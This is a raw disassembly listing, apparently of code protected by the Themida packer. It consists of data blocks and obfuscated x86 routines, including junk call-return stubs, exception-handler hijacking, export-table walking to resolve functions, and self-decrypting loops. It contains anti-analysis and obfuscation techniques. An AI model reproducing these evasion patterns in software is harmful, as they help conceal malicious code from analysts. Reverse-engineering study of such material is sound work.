61519F9h dd 60525050h, 5E8h, 0AEC08200h, 0B05B341Fh, 310F6114h dd 0F525060h, 8B585A31h, 585A61D6h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 458C350h, 10E9FCDDh, 64000000h, 4E5A891Dh, 0A5230E2Eh dd 56C3EF83h, 8DE09D9Ah, 1845F685h, 0FDBD8906h, 0FF061506h dd 4D9589D0h, 3061510h, 0F242444h, 68Ah, 7DB58900h, 50061510h dd 0FE9h, 6DAAF400h, 80A3AD7Eh, 0A06DECDEh, 0D4781477h dd 31240489h, 15286DB5h, 6AAB06h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0ED48A5C3h, 573E7FD5h dd 0EE9E5A1h, 35000000h, 96E1CF45h, 748A71E7h, 0B890376Bh dd 21BD8DBBh, 6A061530h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 951EC357h, 2D45E339h dd 9AFE186h, 150D99BDh, 18B0F06h, 0F8000000h, 56006AADh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0DD80605Dh, 6820FF8h, 0F000000h, 85h, 800F6100h, 0Eh dd 0DD958960h, 0F061525h, 89h, 7C816100h, 2824h, 870F1000h dd 0D7h, 18018D09h, 0F500615h, 1581h, 0BE86000h, 9C000000h dd 0B7AF6654h, 0BB61BC75h, 505B1EADh, 4896158h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0A29F5524h, 2C24448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0B3C35747h, 0BAAD9F86h, 0F1852995h, 5006152Dh dd 12E960h, 6CB40000h, 81873931h, 92A92901h, 645C8F99h dd 90939FCCh, 8961C28Bh, 0BD892404h, 61504A9h, 45F6858Dh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0D3AA5AC3h, 4454AA65h, 604EDAB0h, 8166CB8Bh dd 6189F7EEh, 1860Fh, 0FFF50000h, 558501D0h, 3061534h dd 89282444h, 152CB98Dh, 5EF5AB06h, 729E8DFFh, 0BD830618h dd 618729Eh, 330A7500h, 0C0B58DC0h, 0FF061882h, 81AD56E6h dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 1845F685h dd 3D0FF06h, 97282444h, 858ADF8Bh, 618729Ah, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 0A5D85FFh, 5DE90615h, 5EFFFFFFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h, 830F3BD0h dd 6, 2F2D8501h, 95290615h, 6153399h, 0A1BD0360h, 6606152Dh dd 0E172E381h, 5D858B61h, 106150Ah, 15225985h, 6AE0D106h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 13E0C355h, 9B10998Dh, 0FF59B16h, 685h, 49BD8900h dd 60061522h, 8C18D89h, 0BF660615h, 3615FA3h, 15302185h dd 11E906h, 446E0000h, 0A14F9B2h, 4262D6CAh, 1E9144E3h dd 0E98624C6h, 5, 867A65A3h, 0BE30h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F965DC3h dd 18Eh, 0AD66F500h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 3AC35242h, 71673DCEh, 1870Fh, 0C1F50000h dd 6A02E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 898D92C3h, 1533FD9Dh, 0D9850306h, 6A061521h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 6C0C356h, 0DE181BA8h, 8B6660F4h, 819D8BDEh dd 61061501h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0D9C3A8DEh, 9785EA17h, 0D8F0F57h dd 0E9000000h, 8, 4EA252B9h, 3CC8A546h, 5E9ADh, 1E0B0000h dd 816B55D8h, 24247Ch, 0F100000h, 10987h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 4D69E509h, 60716DEFh, 18ED9D89h, 9D8B0615h, 61522D9h dd 13E961h, 4B9E0000h, 0C6163C55h, 5534F5ECh, 981BF2Fh dd 856B32A4h, 0B660504Eh, 28A0F8Ch, 60000000h, 4896161h dd 8D31F924h, 6150D95h, 2824448Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0ACC35141h, 953D8496h, 0CE9h dd 0D8A1A000h, 7161527Eh, 0B71424FCh, 5E95040h, 26000000h dd 63FF1914h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 2495C355h, 95DA318Fh dd 36B301Dh, 0B9B58B60h, 0BB061524h, 0B3314B0h, 0F6858D61h dd 6A061845h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F7DC352h, 0A86h, 5E900h, 38970000h dd 0FF140B66h, 4403F5D0h, 6A2424h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 829602C3h, 6E9h, 0CDB8D200h dd 894ABDF9h, 0E91C2444h, 10h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh dd 4AC47CAAh, 6840Fh, 8D890000h, 6151555h, 9C585C6h, 0C7000615h dd 18745D85h, 6, 0A285C700h, 61872h, 0F000000h, 68Ch, 0E9B50900h dd 0F9061527h, 11E961h, 0C8D50000h, 488483CCh, 0ABB0DB52h dd 82C006A8h, 0C2FCC170h, 95290008h, 61522B9h, 21D9858Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 19F89DC3h, 0C8E0FF9h, 0F000000h, 68Fh, 0C9958900h dd 4A06151Ch, 952BF960h, 6151DBDh, 4D26B61h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h, 9447C2Ah dd 152511B5h, 6AC20306h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0BCA2C356h, 75231EE4h dd 6A96B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 5C1114C3h, 0D704DAC6h, 6AADF5h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 415C5AC3h dd 75028567h, 247C8119h, 24h, 36870F10h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6008C356h, 2A81BD8Bh, 0E9610615h, 11h, 0C46BF375h, 0DFA7538Bh dd 0A2A8277Dh, 5EBB1C7Ch, 8D0F5067h, 8, 28C0Fh, 61600000h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 84FFC353h, 0D3A75714h, 448BFCD0h dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 50B0F7C3h, 14E9h, 0FCB72000h, 91BAA1B2h dd 2E9CE0B4h, 42139F4Ch, 0ADAB336Ah, 2404898Eh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0C0AAA951h dd 0FF5B746h, 0A8Dh, 5E506000h, 1DBD2Bh, 8D610615h, 1845F685h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 44F47C3Ah, 89C52750h, 150AC59Dh, 6AD0FF06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CBFDC357h, 850F08B3h, 1, 0FD48E9F9h, 8B0FFFFFh dd 1, 0F9858DFCh, 1061888h, 1509F1B5h, 60609006h, 0B661D18Bh dd 60506196h, 95045B9h, 618BB476h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BDB0FD34h dd 1D76A83Bh, 35FF64h, 60000000h, 0FFB8B60h, 80h, 66606100h dd 2B025DB8h, 1510FDBDh, 8B616106h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F73B12C3h dd 0F4845F16h, 85090FCCh, 6152F05h, 16018589h, 85890615h dd 6152A65h, 2789BD89h, 89640615h, 25h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 23DDD4E7h, 0E860F302h, 13h, 0D44CBDB3h, 4D732D60h, 0FCE5DA61h dd 2A4253D8h, 60FEE3DCh, 820F5F61h, 0 ; --------------------------------------------------------------------------- popa lea eax, [ebp+61886A5h] xor [ebp+6152B29h], esi mov [ebp+6152FFDh], esi mov [eax+1], esp push 0 push esi call sub_5B208D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B208D proc near ; CODE XREF: Themida_:005B2085p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B208D endp ; --------------------------------------------------------------------------- aas mov al, ds:0E94A9509h scasb add al, [eax] add [edx+0], ch push ebx call sub_5B20B2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B20B2 proc near ; CODE XREF: Themida_:005B20AAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B20B2 endp ; --------------------------------------------------------------------------- dw 491Eh dd 0DB8BF96Ch, 0E8h, 0ED815D00h, 618869Eh ; --------------------------------------------------------------------------- loc_5B20D4: ; DATA XREF: Themida_:0057B454o mov esp, 12FF9Ch cmp dword ptr [ebp+6151E01h], 0 jz short loc_5B20FA mov eax, [ebp+6152849h] mov byte ptr [eax], 0 mov eax, [ebp+615282Dh] mov byte ptr [eax], 0 call dword ptr [ebp+6152669h] loc_5B20FA: ; CODE XREF: Themida_:005B20E0j pusha push dword ptr [ebp+6186EA6h] lea eax, [ebp+6186EAAh] push eax lea eax, [ebp+61870A2h] push eax call dword ptr [ebp+6152F29h] add esp, 0Ch popa push 0 push edx call sub_5B2124 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2124 proc near ; CODE XREF: Themida_:005B211Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5B2124 endp ; --------------------------------------------------------------------------- scasb mov esi, 62A8E747h push esp pop esp or [ebp+6150A61h], ebx push 0 push ecx call sub_5B214D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B214D proc near ; CODE XREF: Themida_:005B2145p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B214D endp ; --------------------------------------------------------------------------- db 9Dh, 0FAh, 7Dh ; --------------------------------------------------------------------------- xchg eax, esp js short loc_5B21B7 adc cl, [ebp+1870A2B5h] push es push 0 push edx call sub_5B2175 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2175 proc near ; CODE XREF: Themida_:005B216Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5B2175 endp ; --------------------------------------------------------------------------- aam 0F9h setalc xchg eax, edi clc jmp loc_5B219D ; --------------------------------------------------------------------------- db 0FCh dd 223DEBECh, 50BE2170h, 0E8C3E951h db 26h ; --------------------------------------------------------------------------- loc_5B219D: ; CODE XREF: Themida_:005B218Aj lea edi, [ebp+6151E95h] push 0 push esi call loc_5B21AE and [esi-3Dh], bl loc_5B21AE: ; CODE XREF: Themida_:005B21A6p pop esi mov [esp+4], esi ; --------------------------------------------------------------------------- db 81h db 44h, 24h, 4 ; --------------------------------------------------------------------------- loc_5B21B7: ; CODE XREF: Themida_:005B2161j sbb al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 46h ; --------------------------------------------------------------------------- push esi retn ; --------------------------------------------------------------------------- sub eax, 26DB581Dh pop ebp cmp al, 0F5h pusha or [ebp+6151181h], ecx sub [ebp+6152D21h], ecx popa loc_5B21D4: ; CODE XREF: Themida_:005B2209j cmp byte ptr [esi], 0 jz loc_5B2214 sub [ebp+6152AE5h], ecx movsb push 0 push edx call sub_5B21EF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B21EF proc near ; CODE XREF: Themida_:005B21E7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B21EF endp ; --------------------------------------------------------------------------- stosb shr ebp, 1 add [ebp+6152F55h], ebx stc jmp loc_5B21D4 ; --------------------------------------------------------------------------- add [ebp+6150655h], ecx loc_5B2214: ; CODE XREF: Themida_:005B21D7j mov eax, 0 push 0 push ebx call sub_5B2224 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2224 proc near ; CODE XREF: Themida_:005B221Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5B2224 endp ; --------------------------------------------------------------------------- sal dword ptr [eax+600A5291h], 60h mov cx, 8E4Dh cmc popa mov eax, [ebp+6152925h] popa stosb mov [ebp+615045Dh], edi cld mov eax, 7 push 0 push ebx call sub_5B2260 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2260 proc near ; CODE XREF: Themida_:005B2258p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B2260 endp ; --------------------------------------------------------------------------- dd 0F06E464h, 682h, 41958900h, 0F061510h, 1E80h, 18810F00h dd 0E9000000h, 13h, 0B2E94E2Fh, 1525EACh, 77271214h, 2B8E2895h dd 89F686A8h, 150451B5h, 985C706h, 1061516h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 7525C357h, 2B49C7A2h, 4F9E8D8Dh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6308BCC3h, 845A1F54h, 8D895601h, 6150879h, 6AE1FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 97D194C3h, 382B7EC3h ; =============== S U B R O U T I N E ======================================= sub_5B2328 proc near ; DATA XREF: Themida_:0057A7A0o ; Themida_:0057BAFCo arg_8 = dword ptr 0Ch mov ebx, [esp+arg_8] push ebp call $+5 pop ebp sub ebp, 6188903h mov eax, [ebx+0B8h] mov [ebp+6186EA6h], eax lea eax, [ebp+6188697h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn sub_5B2328 endp ; --------------------------------------------------------------------------- push 0 push eax call sub_5B2360 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2360 proc near ; CODE XREF: Themida_:005B2358p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B2360 endp ; --------------------------------------------------------------------------- pop esi add [ebp+6151A25h], eax mov [ebp+6150661h], ebx loc_5B237D: ; CODE XREF: Themida_:005B239Cj pusha push 0 push ecx call sub_5B2389 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2389 proc near ; CODE XREF: Themida_:005B2381p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B2389 endp ; --------------------------------------------------------------------------- db 95h, 0F3h, 0Bh ; --------------------------------------------------------------------------- jecxz short loc_5B237D cdq adc cl, [ebp+188B5685h] push es pusha add ebx, 25D7F98Eh add ecx, [ebp+615266Dh] popa jmp loc_5B23C2 ; --------------------------------------------------------------------------- and ah, cl mov bl, 3Eh mov ds:1D36808Bh, eax loc_5B23C2: ; CODE XREF: Themida_:005B23B4j push eax jmp loc_5B23D0 ; --------------------------------------------------------------------------- dd 8E637AF0h, 4685336Ch ; --------------------------------------------------------------------------- loc_5B23D0: ; CODE XREF: Themida_:005B23C3j mov [esp], eax push 0 push edx call sub_5B23DE and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B23DE proc near ; CODE XREF: Themida_:005B23D6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5B23DE endp ; --------------------------------------------------------------------------- dw 1AB9h ; --------------------------------------------------------------------------- inc edi inc ebx jns short loc_5B245E mov [ebp+615174Dh], eax push large dword ptr fs:0 push 0 push eax call sub_5B240C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B240C proc near ; CODE XREF: Themida_:005B2404p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5B240C endp ; --------------------------------------------------------------------------- fcomp dword ptr [ebp-32h] sahf mov ebx, 896475A0h and eax, 0 stc lea eax, [ebp+6188BCBh] push 0 push edx call sub_5B243C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B243C proc near ; CODE XREF: Themida_:005B2434p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B243C endp ; --------------------------------------------------------------------------- jecxz short loc_5B24BE sbb ds:89E3F515h, bl pusha add [edx+0], ebp push ebx call sub_5B2461 loc_5B245E: ; CODE XREF: Themida_:005B23F2j and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2461 proc near ; CODE XREF: Themida_:005B2459p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B2461 endp ; --------------------------------------------------------------------------- db 0DCh, 0F3h, 20h ; --------------------------------------------------------------------------- imul edx, [ebx], 6Eh xchg eax, ecx add [ebp+161D8D89h], ch adc eax, 0C585C606h or ds:6A4F06h, edx push eax call sub_5B2492 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2492 proc near ; CODE XREF: Themida_:005B248Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5B2492 endp ; --------------------------------------------------------------------------- dw 2464h dd 8980E9FCh, 152ACDBDh, 0D0776806h, 52509494h, 12E9h dd 4814000h ; --------------------------------------------------------------------------- jz short loc_5B24FB loc_5B24BE: ; CODE XREF: Themida_:005B244Cj test [eax-4Ch], esp and [edx-0Ah], ebx in eax, dx retn ; --------------------------------------------------------------------------- db 0CCh db 2Ch dd 0FF7ACA1h, 50525031h, 5A310F52h, 60310F58h, 5A585A61h dd 24048158h, 6A33A3B3h, 6800Fh, 85090000h, 61528B1h, 2811B5FFh dd 5E90615h db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B24FB: ; CODE XREF: Themida_:005B24BCj or cs:[ebp-7203F310h], dh test [edx+esi*2+6A0618h], edi push edi call sub_5B2512 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2512 proc near ; CODE XREF: Themida_:005B250Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B2512 endp ; --------------------------------------------------------------------------- aaa inc ecx sub dl, bh pop edx jns loc_5B2548 js loc_5B2548 jmp loc_5B2548 ; --------------------------------------------------------------------------- dd 941D11B7h, 6A33FBD8h, 0FC3BE15Ah, 13D8BCD6h ; --------------------------------------------------------------------------- loc_5B2548: ; CODE XREF: Themida_:005B2527j ; Themida_:005B252Dj ... call eax xor [ebp+61508C9h], esi jmp loc_5B25FA ; --------------------------------------------------------------------------- push 0 push edi call sub_5B2560 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2560 proc near ; CODE XREF: Themida_:005B2558p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B2560 endp ; --------------------------------------------------------------------------- test al, 66h mov ebx, 7B23A428h scasb mov al, ds:8B6660AEh setalc add [ebp+6151D61h], esi popa loc_5B2585: ; DATA XREF: Themida_:0057B17Co mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 6188B60h mov eax, [ebp+6151685h] mov [ebp+6152811h], eax mov eax, [ebp+6150789h] mov [ebp+6152159h], eax mov eax, [ebp+6151789h] mov [ebp+6150DE9h], eax mov byte ptr [ebp+61509C5h], 0 mov dword ptr [ebp+618745Dh], 0 lea eax, [ebp+6188BCBh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- jmp loc_5B25F4 ; --------------------------------------------------------------------------- dd 0C1A67907h, 0F460C5DAh, 0DABB2858h, 1F035467h, 40A54E33h ; --------------------------------------------------------------------------- loc_5B25F4: ; CODE XREF: Themida_:005B25DBj xor [ebp+61522D1h], eax loc_5B25FA: ; CODE XREF: Themida_:005B2550j mov esp, 12FF74h mov [ebp+61502F5h], edx pop large dword ptr fs:0 push 0 push esi call sub_5B2617 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B2617 proc near ; CODE XREF: Themida_:005B260Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5B2617 endp ; --------------------------------------------------------------------------- xchg eax, ebp push es imul ecx, [ecx], 7Eh adc [esi], eax scasd push edi cwde sub [ebp+61526C9h], edi pusha jmp loc_5B264B ; --------------------------------------------------------------------------- db 0D6h, 7, 26h dd 0A965AC1h, 9820CA24h ; --------------------------------------------------------------------------- pop ds jle short loc_5B26BA loc_5B264B: ; CODE XREF: Themida_:005B2638j jp loc_5B2657 mov [ebp+6152591h], ecx loc_5B2657: ; CODE XREF: Themida_:loc_5B264Bj popa add esp, 4 pusha sub cx, 0BB31h xor [ebp+6152DA1h], edi popa popa jmp loc_5B26F1 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5B26EA movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5B26EA mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_5B26B4: ; CODE XREF: Themida_:005B26CAj ; Themida_:005B26D2j inc ecx mov ebx, [esp+1Ch] ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_5B26BA: ; CODE XREF: Themida_:005B2649j pop ss add edx, [esp+20h] add edi, 4 loc_5B26C2: ; CODE XREF: Themida_:005B26CEj mov al, [edx] test al, al jz short loc_5B26D0 cmp al, [ebx] jnz short loc_5B26B4 inc ebx inc edx jmp short loc_5B26C2 ; --------------------------------------------------------------------------- loc_5B26D0: ; CODE XREF: Themida_:005B26C6j cmp al, [ebx] jnz short loc_5B26B4 pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_5B26E2: ; CODE XREF: Themida_:005B26ECj pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5B26EA: ; CODE XREF: Themida_:005B267Cj ; Themida_:005B268Dj xor eax, eax jmp loc_5B26E2 ; --------------------------------------------------------------------------- loc_5B26F1: ; CODE XREF: Themida_:005B2669j mov ecx, edx call near ptr loc_5B2705+3 loc_5B26F8: ; CODE XREF: Themida_:005B26FDj cmp [ecx+3], ebx shl dl, cl jnz short loc_5B26F8 aad 23h cli sbb dword ptr [edx], 49h loc_5B2705: ; CODE XREF: Themida_:005B26F3p add byte ptr ds:3830Fh[eax*2], 0 add [eax-6A75611h], al add eax, 5C6Bh mov esi, 35C66B82h mov ecx, 16FBh movzx ebx, cx loc_5B2726: ; CODE XREF: Themida_:005B2773j push dword ptr [eax] jnp loc_5B272F stc loc_5B272F: ; CODE XREF: Themida_:005B2728j pop edi sbb bx, 0B30Ah add edi, 3420A487h movzx edx, si sub edi, 222AF29Ch add bx, 9141h sub edi, 0D2F8A07h movzx ebx, cx mov [eax], edi cld sub eax, 1 jle loc_5B275F cld loc_5B275F: ; CODE XREF: Themida_:005B2758j dec eax dec eax dec eax pusha mov cx, 5AF5h mov edx, 3B5FD969h popa sub ecx, 1 jnz loc_5B2726 mov dl, 31h call sub_5B278E retn 0C886h ; --------------------------------------------------------------------------- db 47h dd 4227B701h, 9B76FEB6h db 4Ch, 7Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5B278E proc near ; CODE XREF: Themida_:005B277Bp jmp sub_5B27A2 sub_5B278E endp ; --------------------------------------------------------------------------- db 79h dd 427D973h, 0AD7873C2h, 98A0E8EDh ; --------------------------------------------------------------------------- lahf dec edi ; =============== S U B R O U T I N E ======================================= sub_5B27A2 proc near ; CODE XREF: sub_5B278Ej pop esi mov dl, 7Eh add esi, 6BD5h pusha mov ax, 0ECBh stc popa mov eax, 771713AAh add eax, 88E90714h mov edx, eax loc_5B27BF: ; CODE XREF: sub_5B2804:loc_5B284Aj ; sub_5B27A2+3Bj push dword ptr [esi] pop ecx pusha push eax mov edx, esi pop esi movsx ecx, ax popa sub ecx, 1BE26100h call sub_5B27E0 lodsb mov ebx, [ebx+3Ah] inc ebp pop esi leave jge short near ptr loc_5B27BF+1 hlt sub_5B27A2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B27E0 proc near ; CODE XREF: sub_5B27A2+2Fp movsx edx, di pop edi sub ecx, 4819B38Ah xor ecx, 1D60AA3Dh push eax call near ptr sub_5B2804 mov dh, 4Bh lodsd scasb loop loc_5B2875 sub ebx, [ebp-11h] cmp eax, 0A9ECDA1Eh sub_5B27E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B2804 proc far ; CODE XREF: sub_5B27E0+11p arg_0 = dword ptr 4 add di, 0B6FCh pop edi pop edx mov [esi], ecx pusha push ebx push esi pop ebx pop esi jmp loc_5B2820 ; --------------------------------------------------------------------------- db 25h dd 340B463Ch, 41158113h ; --------------------------------------------------------------------------- loc_5B2820: ; CODE XREF: sub_5B2804+Ej popa sub esi, 4 sbb dx, 3C6Fh sub eax, 1 jnz loc_5B284A pusha mov esi, ebx push ebx movsx ecx, dx pop ecx popa jmp loc_5B2861 ; --------------------------------------------------------------------------- db 66h dd 0ED33D49Dh db 5Eh, 0E1h ; --------------------------------------------------------------------------- loc_5B284A: ; CODE XREF: sub_5B2804+2Bj jmp loc_5B27BF ; --------------------------------------------------------------------------- db 0C4h dd 0D53FC185h, 26C1FAC9h, 8255E96Bh, 0C87C8EF3h db 6Dh ; --------------------------------------------------------------------------- loc_5B2861: ; CODE XREF: sub_5B2804+3Aj jmp short loc_5B2897 ; --------------------------------------------------------------------------- db 49h dd 474D5346h, 56202052h, 2020444Bh, 56202020h ; --------------------------------------------------------------------------- dec ebp loc_5B2875: ; CODE XREF: sub_5B27E0+1Aj dec ebp and [eax], ah and [eax], ah and [esi+57h], dl dec ecx dec esi xor esi, [edx] and [eax], ah push esi pop eax inc esp dec esp inc esp push edx and [eax], ah ; --------------------------------------------------------------------------- db 0 dd 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B2897: ; CODE XREF: sub_5B2804:loc_5B2861j jmp loc_5B2EBF ; --------------------------------------------------------------------------- push 0 push ebp call loc_5B28A7 and [ebp-3Dh], bl loc_5B28A7: ; CODE XREF: sub_5B2804+9Bp pop ebp mov [esp+arg_0], ebp add [esp+arg_0], 1Bh inc ebp push ebp retn ; --------------------------------------------------------------------------- db 99h dd 90989B62h, 60E5BFB3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0EDC35545h, 5C85C712h, 6188Eh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0C08CC350h, 0FC8571C8h, 0FF9C68Bh, 6AD8B7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0C176B8C3h, 860F10E8h, 0Fh, 0AE9h, 4668FC00h, 8C7017AFh dd 66BF1CA0h, 6A08C8C1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0A2FC351h, 60858913h dd 0E906188Eh, 8, 68050C95h, 55BBE9B9h, 8CBC166h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h, 9B9378A9h dd 0F40FB83h, 4B85h, 0BF0F6000h, 60F860D9h, 8D616161h dd 188E34BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 7148B9D9h, 3FEEFB05h, 810F8BF8h dd 1, 28E9F8F5h, 0F9000001h, 0A8E38160h, 61309FE9h, 0F0DFB83h dd 4D85h, 0CE9F900h, 22000000h, 0EF47EA2h, 2B4F4DC9h, 8D504BDBh dd 188E3CBDh, 0BF0F6006h, 43D981C7h, 613EE145h, 0EEE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 